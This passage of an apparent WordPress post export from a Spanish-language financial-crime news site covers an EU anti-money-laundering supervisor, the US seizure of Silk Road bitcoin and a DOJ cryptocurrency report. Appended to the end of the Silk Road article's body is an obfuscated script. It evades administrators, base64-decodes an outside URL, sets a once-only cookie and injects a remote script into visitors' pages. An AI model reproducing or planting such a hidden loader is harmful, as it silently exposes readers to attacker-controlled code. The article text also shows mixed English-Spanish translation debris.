inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" 